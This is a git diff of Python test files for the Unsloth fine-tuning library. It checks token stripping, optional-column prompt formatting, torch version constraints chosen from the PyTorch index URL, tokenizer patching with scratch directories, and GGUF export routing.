+    remove_special_tokens = _load_remove_special_tokens()
+    assert remove_special_tokens(_StubTokenizer("<s>"), "<s>Hello world") == "Hello world"
+
+
+def test_prompt_without_leading_bos_unchanged():
+    # A BOS-bearing tokenizer leaves a prompt that does not start with BOS alone.
+    remove_special_tokens = _load_remove_special_tokens()
+    assert remove_special_tokens(_StubTokenizer("<s>"), "Hello world") == "Hello world"
diff --git a/tests/python/test_studio_import_no_torch.py b/tests/python/test_studio_import_no_torch.py
index c4efbc8cea..f551519de9 100644
--- a/tests/python/test_studio_import_no_torch.py
+++ b/tests/python/test_studio_import_no_torch.py
@@ -1,4 +1,4 @@
-"""Sandbox tests: Studio dataset modules load/run in isolated no-torch venvs."""
+"""Sandbox tests: Unsloth dataset modules load/run in isolated no-torch venvs."""
 
 from __future__ import annotations
 
diff --git a/tests/python/test_to_sharegpt_optional_none.py b/tests/python/test_to_sharegpt_optional_none.py
new file mode 100644
index 0000000000..05fcb8a6a8
--- /dev/null
+++ b/tests/python/test_to_sharegpt_optional_none.py
@@ -0,0 +1,97 @@
+import ast
+import re
+from pathlib import Path
+
+
+def _load_formatter_builders():
+    # Extract _parse_combined_prompt and _create_formatter without importing
+    # unsloth (importing unsloth needs unsloth_zoo / a GPU). Both are pure
+    # Python and only use the `re` module.
+    source = Path(__file__).parents[2] / "unsloth" / "chat_templates.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    wanted = {"_parse_combined_prompt", "_create_formatter"}
+    funcs = [
+        node for node in tree.body if isinstance(node, ast.FunctionDef) and node.name in wanted
+    ]
+    namespace = {"re": re}
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    exec(compile(module, str(source), "exec"), namespace)
+    return namespace["_parse_combined_prompt"], namespace["_create_formatter"]
+
+
+class _StubDataset:
+    def __init__(self, column_names):
+        self.column_names = column_names
+
+
+def _render(merged_prompt, columns, batch):
+    parse, create = _load_formatter_builders()
+    possible_columns, final_optional_prompts = parse(merged_prompt, _StubDataset(columns))
+    processor = create(possible_columns, final_optional_prompts, "text")
+    return processor(batch)["text"]
+
+
+def test_optional_block_missing_second_column_does_not_render_none():
+    # A [[...]] block may reference several columns; only the first gates the
+    # block. A later column that is None must not render as the literal "None".
+    merged_prompt = "Location: [[{city}, {country}]] end"
+    out = _render(
+        merged_prompt,
+        ["city", "country"],
+        {"city": ["Paris"], "country": [None]},
+    )
+    assert out[0] == "Location: Paris,  end"
+    assert "None" not in out[0]
+
+
+def test_optional_block_all_columns_present_unchanged():
+    merged_prompt = "Location: [[{city}, {country}]] end"
+    out = _render(
+        merged_prompt,
+        ["city", "country"],
+        {"city": ["Paris"], "country": ["France"]},
+    )
+    assert out[0] == "Location: Paris, France end"
+
+
+def test_optional_block_gating_column_empty_is_dropped():
+    # When the gating (first) column is empty the whole block is omitted; this
+    # behaviour is unchanged by the None coercion.
+    merged_prompt = "Location: [[{city}, {country}]] end"
+    out = _render(
+        merged_prompt,
+        ["city", "country"],
+        {"city": [""], "country": ["France"]},
+    )
+    assert out[0] == "Location:  end"
+
+
+def test_single_column_optional_block_gated_out_on_none():
+    # Single-column blocks were already gated correctly (the sole column is the
+    # gate); confirm they stay unaffected.
+    merged_prompt = "Name: [[{name}]]!"
+    out = _render(merged_prompt, ["name"], {"name": [None, "Bob"]})
+    assert out == ["Name: !", "Name: Bob!"]
+
+
+def test_required_column_none_does_not_render_none():
+    # A required (non-[[...]]) column that is None must not render as the
+    # literal "None" either; coercion happens at the row source, so both the
+    # required and optional branches are covered.
+    merged_prompt = "Location: {city}, {country} end"
+    out = _render(
+        merged_prompt,
+        ["city", "country"],
+        {"city": ["Paris"], "country": [None]},
+    )
+    assert out[0] == "Location: Paris,  end"
+    assert "None" not in out[0]
+
+
+def test_optional_block_falsy_but_present_gating_value_still_renders():
+    # The gate keeps a block whenever the first column is not "". A falsy but
+    # real value (0) must not be treated as absent, so the block still renders.
+    merged_prompt = "Count: [[{n}]]!"
+    out = _render(merged_prompt, ["n"], {"n": [0]})
+    assert out[0] == "Count: 0!"
diff --git a/tests/python/test_tokenizers_and_torch_constraint.py b/tests/python/test_tokenizers_and_torch_constraint.py
index 7390d7be9b..c58808689b 100644
--- a/tests/python/test_tokenizers_and_torch_constraint.py
+++ b/tests/python/test_tokenizers_and_torch_constraint.py
@@ -14,6 +14,7 @@ _TESTS_DIR = pathlib.Path(__file__).resolve().parent.parent  # tests/
 _REPO_ROOT = _TESTS_DIR.parent  # unsloth/
 _INSTALL_SH = _REPO_ROOT / "install.sh"
 _INSTALL_PS1 = _REPO_ROOT / "install.ps1"
+_SETUP_PS1 = _REPO_ROOT / "studio" / "setup.ps1"
 _NO_TORCH_RT = _REPO_ROOT / "studio" / "backend" / "requirements" / "no-torch-runtime.txt"
 
 
@@ -68,6 +69,21 @@ class TestStructuralTorchConstraint:
     def test_tightened_assignment_exists(self):
         assert 'TORCH_CONSTRAINT="torch>=2.6,<2.11.0"' in self._sh
 
+    def test_cuda_constraint_widened_to_2_12(self):
+        """A fresh CUDA install widens the ceiling to <2.12.0 so cu12x/cu13x
+        land torch 2.11.x (matches the base image and _CUDA_TORCH_PKG_SPEC);
+        without it cu128/cu130 resolves torch 2.10.x."""
+        assert 'TORCH_CONSTRAINT="torch>=2.4,<2.12.0"' in self._sh
+
+    def test_cuda_case_widens_via_index_leaf(self):
+        """The cu* branch of the _torch_index_leaf case sets the widened
+        constraint (parallel to rocm7.2), anchored on the leaf."""
+        m = re.search(
+            r'cu\[0-9\]\*\)\s*TORCH_CONSTRAINT="torch>=2\.4,<2\.12\.0"',
+            self._sh,
+        )
+        assert m is not None, "CUDA (cu*) TORCH_CONSTRAINT widening case not found"
+
     def test_variable_used_in_pip_install(self):
         """$TORCH_CONSTRAINT must appear in a uv pip install line."""
         assert '"$TORCH_CONSTRAINT"' in self._sh
@@ -109,6 +125,56 @@ class TestStructuralInstallPs1Unchanged:
         assert '"torch>=2.4,<2.11.0"' in self._ps1
 
 
+class TestInstallPs1UvDefaultIndex:
+    """Installer-managed torch indexes must override inherited uv defaults."""
+
+    _ps1 = _read(_INSTALL_PS1)
+
+    def test_torch_installs_use_default_index(self):
+        assert "--default-index $TorchIndexUrl" in self._ps1
+        assert "--default-index $ROCmIndexUrl" in self._ps1
+
+    def test_torch_installs_do_not_use_deprecated_index_url(self):
+        assert "--index-url $TorchIndexUrl" not in self._ps1
+        assert "--index-url $ROCmIndexUrl" not in self._ps1
+
+    def test_torch_installs_neutralize_all_uv_index_env_vars(self):
+        # Extra-index vars outrank --default-index, so pinned installs must clear them.
+        for var in ("UV_DEFAULT_INDEX", "UV_INDEX_URL", "UV_INDEX", "UV_EXTRA_INDEX_URL"):
+            assert var in self._ps1
+        assert 'Remove-Item "Env:$n"' in self._ps1
+
+
+class TestSetupPs1FastInstallIndex:
+    """setup.ps1 Fast-Install must neutralize inherited uv indexes when pinning."""
+
+    _ps1 = _read(_SETUP_PS1)
+
+    def test_fast_install_clears_all_uv_index_env_vars(self):
+        for var in ("UV_DEFAULT_INDEX", "UV_INDEX_URL", "UV_INDEX", "UV_EXTRA_INDEX_URL"):
+            assert var in self._ps1
+        # Must truly remove the vars (child sees no value), not set them empty.
+        assert 'Remove-Item "Env:$n"' in self._ps1
+
+
+class TestInstallShUvDefaultIndex:
+    """Linux/Mac installer torch indexes must override inherited uv defaults."""
+
+    _sh = _read(_INSTALL_SH)
+
+    def test_torch_installs_use_default_index(self):
+        assert '--default-index "$TORCH_INDEX_URL"' in self._sh
+
+    def test_torch_installs_do_not_use_deprecated_index_url(self):
+        assert '--index-url "$TORCH_INDEX_URL"' not in self._sh
+
+    def test_torch_installs_neutralize_all_uv_index_env_vars(self):
+        # --default-index installs run with all uv index env vars unset via `env -u`.
+        assert (
+            "env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL" in self._sh
+        )
+
+
 # Group 2 -- Shell snippet tests (bash subprocess, mocked python)
 class TestTorchConstraintShell:
     """Test the TORCH_CONSTRAINT block via bash with mocked python minor versions."""
@@ -333,6 +399,71 @@ class TestTorchConstraintShell:
         logged = log_file.read_text()
         assert "torch>=2.4,<2.11.0" in logged, f"uv log: {logged}"
 
+    # Mirrors the _torch_index_leaf case in install.sh: rocm7.2 -> 2.11.x floor,
+    # CUDA -> widened <2.12.0 ceiling, else (CPU/older ROCm) -> default. Anchored
+    # on the final path segment, so a mirror base path containing cu*/rocm7.2 but
+    # ending in a cpu/older-rocm leaf keeps the default.
+    _INDEX_SNIPPET = textwrap.dedent(r"""
+        #!/bin/bash
+        set -e
+        TORCH_INDEX_URL="{index_url}"
+        TORCH_CONSTRAINT="torch>=2.4,<2.11.0"
+        _torch_index_leaf="${TORCH_INDEX_URL%/}"
+        _torch_index_leaf="${_torch_index_leaf##*/}"
+        case "$_torch_index_leaf" in
+            rocm7.2)  TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0" ;;
+            cu[0-9]*) TORCH_CONSTRAINT="torch>=2.4,<2.12.0" ;;
+        esac
+        echo "$TORCH_CONSTRAINT"
+    """).strip()
+
+    def _resolve_index(self, tmp_path: pathlib.Path, index_url: str) -> str:
+        script_file = tmp_path / "index_snippet.sh"
+        script_file.write_text(self._INDEX_SNIPPET.replace("{index_url}", index_url))
+        script_file.chmod(0o755)
+        result = subprocess.run(
+            ["bash", str(script_file)],
+            capture_output = True,
+            text = True,
+            timeout = 10,
+        )
+        assert result.returncode == 0, f"Script failed: {result.stderr}"
+        return result.stdout.strip()
+
+    @pytest.mark.parametrize("leaf", ["cu118", "cu124", "cu126", "cu128", "cu130"])
+    def test_cuda_index_widens_to_2_12(self, tmp_path, leaf):
+        url = f"https://download.pytorch.org/whl/{leaf}"
+        assert self._resolve_index(tmp_path, url) == "torch>=2.4,<2.12.0"
+
+    def test_rocm72_index_uses_211_floor(self, tmp_path):
+        url = "https://download.pytorch.org/whl/rocm7.2"
+        assert self._resolve_index(tmp_path, url) == "torch>=2.11.0,<2.12.0"
+
+    def test_cpu_index_keeps_default(self, tmp_path):
+        # /cpu must NOT match the */cu[0-9]* branch.
+        url = "https://download.pytorch.org/whl/cpu"
+        assert self._resolve_index(tmp_path, url) == "torch>=2.4,<2.11.0"
+
+    def test_older_rocm_index_keeps_default(self, tmp_path):
+        url = "https://download.pytorch.org/whl/rocm7.1"
+        assert self._resolve_index(tmp_path, url) == "torch>=2.4,<2.11.0"
+
+    def test_cuda_index_custom_mirror_widens(self, tmp_path):
+        url = "https://internal.example.com/pytorch/cu128"
+        assert self._resolve_index(tmp_path, url) == "torch>=2.4,<2.12.0"
+
+    @pytest.mark.parametrize(
+        "url",
+        [
+            "https://internal.example.com/pytorch/cu128/cpu",
+            "https://internal.example.com/cu128/whl/rocm7.1",
+        ],
+    )
+    def test_cuda_in_mirror_path_but_noncuda_leaf_keeps_default(self, tmp_path, url):
+        # A cu128 in the mirror base path must not widen when the leaf is cpu /
+        # older ROCm: the case anchors on _torch_index_leaf, not the whole URL.
+        assert self._resolve_index(tmp_path, url) == "torch>=2.4,<2.11.0"
+
 
 # Group 3 -- E2E tokenizers fix (requires network, ~2-5 min)
 @pytest.mark.e2e
diff --git a/tests/run_all.sh b/tests/run_all.sh
index d03f4c4d4f..eaa726f73c 100755
--- a/tests/run_all.sh
+++ b/tests/run_all.sh
@@ -15,7 +15,9 @@ sh "$TESTS_DIR/sh/test_resolve_cuda_archs.sh"
 sh "$TESTS_DIR/sh/test_strixhalo_wsl_reroute.sh"
 sh "$TESTS_DIR/sh/test_uninstall_shared_icon.sh"
 sh "$TESTS_DIR/sh/test_torch_flavor.sh"
+sh "$TESTS_DIR/sh/test_redact_install_output.sh"
 sh "$TESTS_DIR/sh/test_install_uv_override_space.sh"
+sh "$TESTS_DIR/sh/test_install_rollback_lifecycle.sh"
 
 echo ""
 echo "=== Python tests ==="
diff --git a/tests/saving/test_export_dispatch.py b/tests/saving/test_export_dispatch.py
index 3870d6269d..ad6d51e0b7 100644
--- a/tests/saving/test_export_dispatch.py
+++ b/tests/saving/test_export_dispatch.py
@@ -8,6 +8,8 @@ regressions that pure AST checks cannot (e.g. wrong scheme/suffix/outtype passed
 
 from __future__ import annotations
 
+import inspect
+
 import pytest
 
 import unsloth.save as save_mod
@@ -126,6 +128,80 @@ def test_gguf_lora_push_to_hub_is_rejected(tmp_path):
         )
 
 
+# The above rejection points users at push_to_hub_gguf(save_method='lora'), so that path
+# has to work; it is only ever exercised here.
+
+
+def test_push_to_hub_gguf_lora_dispatches(monkeypatch):
+    seen = {}
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_lora_gguf",
+        lambda model, tok, sd, **kw: seen.update(kw),
+    )
+    save_mod.unsloth_push_to_hub_gguf(
+        _FakeModel(),
+        "repo/id",
+        tokenizer = object(),
+        save_method = "lora",
+        quantization_method = "q8_0",
+    )
+    assert seen.get("outtype") == "q8_0"
+    assert seen.get("push_to_hub") is True
+
+
+def test_push_to_hub_gguf_lora_skips_non_main_process(monkeypatch):
+    calls = []
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_lora_gguf",
+        lambda *a, **kw: calls.append(kw),
+    )
+    result = save_mod.unsloth_push_to_hub_gguf(
+        _FakeModel(),
+        "repo/id",
+        tokenizer = object(),
+        save_method = "lora",
+        is_main_process = False,
+    )
+    assert result is None
+    assert calls == []
+
+
+def test_push_to_hub_gguf_skips_non_main_process_before_merged_conversion(monkeypatch):
+    calls = []
+    monkeypatch.setattr(
+        save_mod,
+        "unsloth_save_pretrained_gguf",
+        lambda **kw: calls.append(kw),
+    )
+    result = save_mod.unsloth_push_to_hub_gguf(
+        _FakeModel(),
+        "repo/id",
+        tokenizer = object(),
+        is_main_process = False,
+    )
+    assert result is None
+    assert calls == []
+
+
+def test_push_to_hub_gguf_preserves_positional_max_shard_size():
+    bound = inspect.signature(save_mod.unsloth_push_to_hub_gguf).bind(
+        _FakeModel(),
+        "repo/id",
+        object(),
+        "q4_k_m",
+        None,
+        None,
+        None,
+        None,
+        "token",
+        "50GB",
+    )
+    assert bound.arguments["max_shard_size"] == "50GB"
+    assert "is_main_process" not in bound.arguments
+
+
 # -- torchao PTQ / QAT dispatch ------------------------------------------------------------
 
 
diff --git a/tests/saving/test_fix_sentencepiece_tokenizer_guard.py b/tests/saving/test_fix_sentencepiece_tokenizer_guard.py
new file mode 100644
index 0000000000..1ee523d57b
--- /dev/null
+++ b/tests/saving/test_fix_sentencepiece_tokenizer_guard.py
@@ -0,0 +1,307 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+import gc
+import os
+
+os.environ.setdefault("PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION", "python")
+
+import transformers
+from transformers.utils import sentencepiece_model_pb2
+
+from unsloth.tokenizer_utils import fix_sentencepiece_tokenizer
+
+
+NORMAL, CONTROL = 1, 3
+
+
+def _spm_bytes(pieces):
+    m = sentencepiece_model_pb2.ModelProto()
+    for piece, score, typ in pieces:
+        p = m.pieces.add()
+        p.piece = piece
+        p.score = score
+        p.type = typ
+    return m.SerializeToString()
+
+
+def _read_pieces(path):
+    m = sentencepiece_model_pb2.ModelProto()
+    with open(path, "rb") as f:
+        m.ParseFromString(f.read())
+    return [p.piece for p in m.pieces]
+
+
+class _FakeTokenizer:
+    """Minimal stand-in for a sentencepiece-backed slow tokenizer.
+
+    ``save_pretrained`` writes a tokenizer.model, which is what the real slow
+    tokenizers do and what fix_sentencepiece_tokenizer reads back.
+    """
+
+    def __init__(
+        self,
+        name,
+        spm_bytes = None,
+        vocab = None,
+    ):
+        self.name = name
+        self.eos_token = "</s>"
+        self.pad_token = "<pad>"
+        self._spm_bytes = spm_bytes
+        self._vocab = vocab or {}
+        self.saved_to = []
+
+    def save_pretrained(self, location):
+        self.saved_to.append(location)
+        os.makedirs(location, exist_ok = True)
+        if self._spm_bytes is not None:
+            with open(os.path.join(location, "tokenizer.model"), "wb") as f:
+                f.write(self._spm_bytes)
+
+    def __call__(
+        self,
+        texts,
+        add_special_tokens = False,
+    ):
+        class _Encoded:
+            pass
+
+        encoded = _Encoded()
+        encoded.input_ids = [[self._vocab[text]] for text in texts]
+        return encoded
+
+
+def _tokenizers():
+    pieces = [("<s>", 0.0, CONTROL), ("a", -1.0, NORMAL), ("</s>", 0.0, CONTROL)]
+    old = _FakeTokenizer("old", spm_bytes = _spm_bytes(pieces), vocab = {"</s>": 2})
+    new = _FakeTokenizer("new")
+    return old, new
+
+
+class _ReloadedTokenizer:
+    """Weakref-able stand-in for the tokenizer AutoTokenizer.from_pretrained returns."""
+
+    def __init__(self, location):
+        self.location = location
+
+
+def _stub_auto_tokenizer(monkeypatch):
+    """fix_sentencepiece_tokenizer reloads the patched directory through
+    AutoTokenizer at the end; that needs a full tokenizer on disk, which is
+    out of scope here. Record the reload location and hand back a sentinel.
+    """
+    loaded = []
+
+    class _StubAutoTokenizer:
+        @staticmethod
+        def from_pretrained(location, **kwargs):
+            loaded.append(location)
+            return _ReloadedTokenizer(location)
+
+    monkeypatch.setattr(transformers, "AutoTokenizer", _StubAutoTokenizer)
+    return loaded
+
+
+def test_old_tokenizer_is_saved_so_its_model_can_be_read(tmp_path, monkeypatch):
+    """The guard must not skip the body on a fresh temporary directory.
+
+    fix_sentencepiece_tokenizer creates its scratch directory itself and then
+    checks for a tokenizer.model inside it, but that file only appears once
+    old_tokenizer.save_pretrained() has run.
+    """
+    _stub_auto_tokenizer(monkeypatch)
+    old, new = _tokenizers()
+    location = str(tmp_path / "_unsloth_sentencepiece_temp")
+
+    fix_sentencepiece_tokenizer(old, new, {"</s>": "<|im_end|>"}, temporary_location = location)
+
+    assert old.saved_to, "old tokenizer was never saved: the body did not run"
+
+
+def test_token_mapping_is_applied_to_the_sentencepiece_model(tmp_path, monkeypatch):
+    loaded = _stub_auto_tokenizer(monkeypatch)
+    old, new = _tokenizers()
+    location = str(tmp_path / "_unsloth_sentencepiece_temp")
+
+    # Hold the returned tokenizer so its scratch dir survives until we read it.
+    tok = fix_sentencepiece_tokenizer(old, new, {"</s>": "<|im_end|>"}, temporary_location = location)
+
+    assert "<|im_end|>" in _read_pieces(f"{loaded[-1]}/tokenizer.model")
+    assert tok is not None
+
+
+def test_tokenizer_without_a_sentencepiece_model_is_returned_untouched(tmp_path, monkeypatch):
+    """A fast-only tokenizer writes no tokenizer.model, so the guard still
+    short-circuits and the caller gets new_tokenizer back unchanged. Its scratch
+    dir is unreferenced and reclaimed immediately.
+    """
+    _stub_auto_tokenizer(monkeypatch)
+    old = _FakeTokenizer("old", spm_bytes = None)
+    new = _FakeTokenizer("new")
+    location = str(tmp_path / "_unsloth_sentencepiece_temp")
+
+    result = fix_sentencepiece_tokenizer(
+        old, new, {"</s>": "<|im_end|>"}, temporary_location = location
+    )
+
+    assert result is new
+    assert not any(
+        name.startswith("tokenizer_") for name in os.listdir(location)
+    ), "the fast-only scratch dir was not reclaimed"
+
+
+def test_each_call_uses_a_fresh_isolated_subdirectory(tmp_path, monkeypatch):
+    """Each call must work in its own unique subdirectory, so concurrent or
+    repeated calls never share scratch files, stale artifacts never leak into
+    the reload, and nothing the caller left in the scratch location is deleted.
+    """
+    loaded = _stub_auto_tokenizer(monkeypatch)
+    location = str(tmp_path / "_unsloth_sentencepiece_temp")
+    os.makedirs(location, exist_ok = True)
+
+    # A pre-existing artifact in the shared scratch location.
+    marker = os.path.join(location, "leftover.json")
+    with open(marker, "w") as f:
+        f.write("{}")
+
+    old1, new1 = _tokenizers()
+    old2, new2 = _tokenizers()
+    # Hold both returned tokenizers so their scratch dirs stay alive.
+    tok1 = fix_sentencepiece_tokenizer(
+        old1, new1, {"</s>": "<|im_end|>"}, temporary_location = location
+    )
+    tok2 = fix_sentencepiece_tokenizer(
+        old2, new2, {"</s>": "<|im_end|>"}, temporary_location = location
+    )
+
+    work1, work2 = loaded[0], loaded[1]
+    assert work1 != work2, "two calls reused the same directory"
+    assert os.path.dirname(work1) == location and os.path.dirname(work2) == location
+    assert os.path.isdir(work1) and os.path.isdir(work2)
+    # Nothing the caller left behind is deleted, and it never leaks into a work dir.
+    assert os.path.isfile(marker), "a pre-existing scratch file was deleted"
+    assert not os.path.isfile(os.path.join(work1, "leftover.json"))
+    assert not os.path.isfile(os.path.join(work2, "leftover.json"))
+    assert tok1 is not None and tok2 is not None
+
+
+def test_sentencepiece_scratch_dir_is_reclaimed_once_the_tokenizer_is_gone(tmp_path, monkeypatch):
+    """The scratch dir must live as long as the returned tokenizer (its vocab_file
+    points there), then be reclaimed when the tokenizer is garbage collected.
+    """
+    loaded = _stub_auto_tokenizer(monkeypatch)
+    old, new = _tokenizers()
+    location = str(tmp_path / "_unsloth_sentencepiece_temp")
+
+    tok = fix_sentencepiece_tokenizer(old, new, {"</s>": "<|im_end|>"}, temporary_location = location)
+    work = loaded[-1]
+    assert os.path.isdir(work), "scratch dir vanished while the tokenizer was alive"
+
+    del tok
+    gc.collect()
+    assert not os.path.isdir(work), "scratch dir was not reclaimed after the tokenizer was freed"
+
+
+class _CopyFromSubdirTokenizer:
+    """A slow tokenizer whose sentencepiece source lives elsewhere (like the
+    tokenizers convert_to_fast_tokenizer produces under {location}/{name}).
+    save_pretrained copies that source into the destination, as HF slow
+    tokenizers copy their vocab_file.
+    """
+
+    def __init__(self, source_model_path):
+        self.eos_token = "</s>"
+        self.pad_token = "<pad>"
+        self._source_model_path = source_model_path
+
+    def save_pretrained(self, location):
+        os.makedirs(location, exist_ok = True)
+        if os.path.isfile(self._source_model_path):
+            with open(self._source_model_path, "rb") as src:
+                data = src.read()
+            with open(os.path.join(location, "tokenizer.model"), "wb") as dst:
+                dst.write(data)
+
+    def __call__(
+        self,
+        texts,
+        add_special_tokens = False,
+    ):
+        class _Encoded:
+            pass
+
+        encoded = _Encoded()
+        encoded.input_ids = [[2] for _ in texts]
+        return encoded
+
+
+def test_source_vocab_outside_the_work_directory_is_not_disturbed(tmp_path, monkeypatch):
+    """A tokenizer whose sentencepiece source lives elsewhere (e.g. the subtree
+    convert_to_fast_tokenizer created) is copied into the fresh work directory
+    and patched there; the original source is left untouched.
+    """
+    loaded = _stub_auto_tokenizer(monkeypatch)
+    location = str(tmp_path / "_unsloth_sentencepiece_temp")
+    subdir = os.path.join(location, "some_model")
+    os.makedirs(subdir, exist_ok = True)
+
+    pieces = [("<s>", 0.0, CONTROL), ("a", -1.0, NORMAL), ("</s>", 0.0, CONTROL)]
+    source_model = os.path.join(subdir, "tokenizer.model")
+    with open(source_model, "wb") as f:
+        f.write(_spm_bytes(pieces))
+
+    old = _CopyFromSubdirTokenizer(source_model)
+    new = _FakeTokenizer("new")
+    tok = fix_sentencepiece_tokenizer(old, new, {"</s>": "<|im_end|>"}, temporary_location = location)
+
+    assert _read_pieces(source_model) == [
+        "<s>",
+        "a",
+        "</s>",
+    ], "the original source vocab was modified"
+    assert "<|im_end|>" in _read_pieces(f"{loaded[-1]}/tokenizer.model")
+    assert tok is not None
+
+
+def test_swap_mapping_swaps_both_pieces_without_duplicating(tmp_path, monkeypatch):
+    """When the caller swaps eos and stop_word in the fast JSON it must pass both
+    directions here; a one-way mapping would leave two stop_word pieces and no eos.
+    """
+    loaded = _stub_auto_tokenizer(monkeypatch)
+    location = str(tmp_path / "_unsloth_sentencepiece_temp")
+
+    pieces = [("<s>", 0.0, CONTROL), ("<|im_end|>", -1.0, NORMAL), ("</s>", 0.0, CONTROL)]
+    old = _FakeTokenizer("old", spm_bytes = _spm_bytes(pieces), vocab = {"</s>": 2, "<|im_end|>": 1})
+    new = _FakeTokenizer("new")
+
+    tok = fix_sentencepiece_tokenizer(
+        old, new, {"</s>": "<|im_end|>", "<|im_end|>": "</s>"}, temporary_location = location
+    )
+
+    result = _read_pieces(f"{loaded[-1]}/tokenizer.model")
+    assert result.count("<|im_end|>") == 1 and result.count("</s>") == 1, result
+    assert tok is not None
+
+
+def test_only_applied_mappings_are_patched(tmp_path, monkeypatch):
+    """When the caller skips a mapping whose target already exists, it must not
+    pass that mapping here, or the skipped source token gets renamed anyway and
+    duplicates the existing target in the model.
+    """
+    loaded = _stub_auto_tokenizer(monkeypatch)
+    location = str(tmp_path / "_unsloth_sentencepiece_temp")
+
+    pieces = [
+        ("<s>", 0.0, CONTROL),
+        ("aa", -1.0, NORMAL),
+        ("bb", -1.0, NORMAL),
+        ("X", -1.0, NORMAL),
+    ]
+    old = _FakeTokenizer("old", spm_bytes = _spm_bytes(pieces), vocab = {"aa": 1, "bb": 2})
+    new = _FakeTokenizer("new")
+
+    # Caller skipped aa->X (X already exists) and applied bb->Y, so only bb->Y is passed.
+    tok = fix_sentencepiece_tokenizer(old, new, {"bb": "Y"}, temporary_location = location)
+
+    result = _read_pieces(f"{loaded[-1]}/tokenizer.model")
+    assert result.count("X") == 1 and "Y" in result and "aa" in result, result
+    assert tok is not None
diff --git a/tests/saving/test_gguf_single_pass_export.py b/tests/saving/test_gguf_single_pass_export.py
new file mode 100644
index 0000000000..296fb0d8ca
--- /dev/null
+++ b/tests/saving/test_gguf_single_pass_export.py
@@ -0,0 +1,201 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""CPU-only routing tests for the single-pass GGUF export and parallel quantization.
+
+With convert/quantize monkeypatched, verify save_to_gguf's pass planning:
+- a single directly-convertible output type (f32/f16/bf16/q8_0) converts in ONE pass
+  with no llama-quantize step and no 16-bit intermediate,
+- k-quants and imatrix runs keep the two-pass route,
+- multiple quantize passes run through the bounded pool with request order preserved,
+- quantize failures still raise the actionable RuntimeError.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import os
+import threading
+import time
+
+import pytest
+
+import unsloth.save as save_mod
+
+
+# -- _choose_first_conversion (pure planning logic) ----------------------------------------
+
+
+@pytest.mark.parametrize(
+    "methods, model_dtype, expected",
+    [
+        (["q8_0"], "f16", "q8_0"),  # default "fast_quantized" path: single pass
+        (["q8_0", "q8_0"], "bf16", "q8_0"),  # duplicates collapse to a single pass
+        (["f32"], "f16", "f32"),  # 16/32-bit outputs convert directly too
+        (["bf16"], "bf16", "bf16"),
+        (["q4_k_m"], "f16", "f16"),  # k-quants need a 16-bit base
+        (["q4_k_m", "q8_0"], "bf16", "bf16"),  # mixes need the shared base
+        (["q8_0", "f16"], "f16", "f16"),
+    ],
+)
+def test_choose_first_conversion(methods, model_dtype, expected):
+    assert save_mod._choose_first_conversion(methods, model_dtype) == expected
+
+
+def test_choose_first_conversion_imatrix_forces_two_pass():
+    # Only llama-quantize can apply an imatrix, so q8_0-only must keep the 16-bit base.
+    assert save_mod._choose_first_conversion(["q8_0"], "f16", has_imatrix = True) == "f16"
+
+
+# -- save_to_gguf pass planning (mocked convert/quantize) -----------------------------------
+
+
+class _Harness:
+    """Monkeypatched convert/quantize recording calls and creating real files."""
+
+    def __init__(
+        self,
+        monkeypatch,
+        tmp_path,
+        quantize_delays = None,
+        quantize_error = None,
+    ):
+        self.tmp_path = tmp_path
+        self.convert_calls = []
+        self.quantize_calls = []
+        self.active = 0
+        self.max_concurrency = 0
+        self._lock = threading.Lock()
+        self._delays = quantize_delays or {}
+        self._error = quantize_error
+
+        monkeypatch.setattr(save_mod, "check_llama_cpp", lambda: ("llama-quantize", "convert.py"))
+        monkeypatch.setattr(
+            save_mod,
+            "_download_convert_hf_to_gguf",
+            lambda: (str(tmp_path / "convert.py"), {"LlamaForCausalLM"}, set()),
+        )
+        monkeypatch.setattr(save_mod, "use_local_gguf", contextlib.nullcontext)
+        monkeypatch.setattr(save_mod, "convert_to_gguf", self._convert)
+        monkeypatch.setattr(save_mod, "quantize_gguf", self._quantize)
+
+    def _convert(self, **kwargs):
+        self.convert_calls.append(kwargs)
+        suffix = kwargs["quantization_type"]
+        if suffix == "None":
+            suffix = kwargs["model_dtype"]
+        out = self.tmp_path / f"{kwargs['model_name']}.{suffix.upper()}.gguf"
+        out.write_bytes(b"GGUF")
+        return [str(out)], False
+
+    def _quantize(
+        self,
+        input_gguf,
+        output_gguf,
+        quant_type,
+        imatrix = None,
+        n_threads = None,
+        **kw,
+    ):
+        with self._lock:
+            self.active += 1
+            self.max_concurrency = max(self.max_concurrency, self.active)
+        try:
+            if self._error is not None:
+                raise self._error
+            time.sleep(self._delays.get(quant_type, 0.02))
+            self.quantize_calls.append({"quant_type": quant_type, "n_threads": n_threads})
+            with open(output_gguf, "wb") as f:
+                f.write(b"GGUF")
+            return output_gguf
+        finally:
+            with self._lock:
+                self.active -= 1
+
+
+def _run(tmp_path, methods, **kwargs):
+    model_dir = tmp_path / "model_dir"
+    model_dir.mkdir(exist_ok = True)
+    return save_mod.save_to_gguf(
+        model_name = "testmodel",
+        model_type = "llama",
+        model_dtype = "float16",
+        model_directory = str(model_dir),
+        quantization_method = methods,
+        **kwargs,
+    )
+
+
+def test_q8_0_only_is_single_pass(monkeypatch, tmp_path):
+    h = _Harness(monkeypatch, tmp_path)
+    locations, want_full_precision, _ = _run(tmp_path, ["q8_0"])
+
+    assert len(h.convert_calls) == 1
+    assert h.convert_calls[0]["quantization_type"] == "q8_0"
+    assert h.quantize_calls == [], "single-pass export must not launch llama-quantize"
+    assert want_full_precision is True, "the converted file IS the requested output"
+    assert len(locations) == 1 and locations[0].endswith("testmodel.Q8_0.gguf")
+    assert os.path.exists(locations[0])
+
+
+def test_fast_quantized_alias_is_single_pass(monkeypatch, tmp_path):
+    h = _Harness(monkeypatch, tmp_path)
+    _run(tmp_path, "fast_quantized")  # the default of save_pretrained_gguf
+    assert h.convert_calls[0]["quantization_type"] == "q8_0"
+    assert h.quantize_calls == []
+
+
